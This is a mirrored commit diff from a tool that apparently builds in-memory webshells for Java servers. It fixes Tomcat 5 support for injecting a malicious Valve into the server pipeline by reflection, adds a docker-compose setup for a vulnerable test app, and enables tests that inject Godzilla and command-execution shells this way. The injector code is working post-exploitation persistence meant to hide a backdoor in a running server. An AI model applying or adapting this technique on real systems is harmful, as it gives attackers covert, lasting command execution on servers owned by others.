mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: tomcat5 valve not work
This commit is contained in:
+18
-13
@@ -97,10 +97,7 @@ public class TomcatValveInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getValve(Object context) {
|
private Object getValve(Object context) {
|
||||||
Object valve = null;
|
Object valve = null;
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -163,16 +160,11 @@ public class TomcatValveInjector {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
try {
|
try {
|
||||||
Class ValveClass;
|
Class valveClass;
|
||||||
try {
|
String valveClassName = "org.apache.catalina.Valve";
|
||||||
ValveClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");
|
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||||
} catch (Exception e) {
|
|
||||||
ValveClass = context.getClass().getClassLoader().loadClass("org.apache.catalina.Valve");
|
|
||||||
}
|
|
||||||
Object obj = invokeMethod(context, "getPipeline");
|
Object obj = invokeMethod(context, "getPipeline");
|
||||||
// Object obj = STANDARD_CONTEXT.getClass().getMethod("getPipeline").invoke(STANDARD_CONTEXT);
|
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||||
// obj.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve")).invoke(obj,evilValve);
|
|
||||||
invokeMethod(obj, "addValve", new Class[]{ValveClass}, new Object[]{valve});
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
@@ -246,4 +238,17 @@ public class TomcatValveInjector {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
ClassLoader catalinaLoader = null;
|
||||||
|
for (Thread thread : threads) {
|
||||||
|
// 适配 v5 的 Class Loader 问题
|
||||||
|
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||||
|
catalinaLoader = thread.getContextClassLoader();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return catalinaLoader;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
services:
|
||||||
|
tomcat66:
|
||||||
|
image: reajason/tomcat:5-jdk6
|
||||||
|
ports:
|
||||||
|
- "8080:8080"
|
||||||
|
- "5005:5005"
|
||||||
|
environment:
|
||||||
|
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
|
||||||
|
volumes:
|
||||||
|
- ../../../vul-webapp/build/libs/vul-webapp.war:/usr/local/tomcat/webapps/app.war
|
||||||
+4
-4
@@ -4,9 +4,9 @@ import com.reajason.javaweb.config.Constants;
|
|||||||
import com.reajason.javaweb.config.Server;
|
import com.reajason.javaweb.config.Server;
|
||||||
import com.reajason.javaweb.config.ShellTool;
|
import com.reajason.javaweb.config.ShellTool;
|
||||||
import com.reajason.javaweb.memsell.packer.Packer;
|
import com.reajason.javaweb.memsell.packer.Packer;
|
||||||
|
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
import org.junit.jupiter.api.AfterAll;
|
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
@@ -36,9 +36,9 @@ public class Tomcat5ContainerTest {
|
|||||||
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
|
||||||
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
|
||||||
// arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,Caused by: java.lang.NoClassDefFoundError: org/apache/catalina/Valve
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP),
|
||||||
// arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP)
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user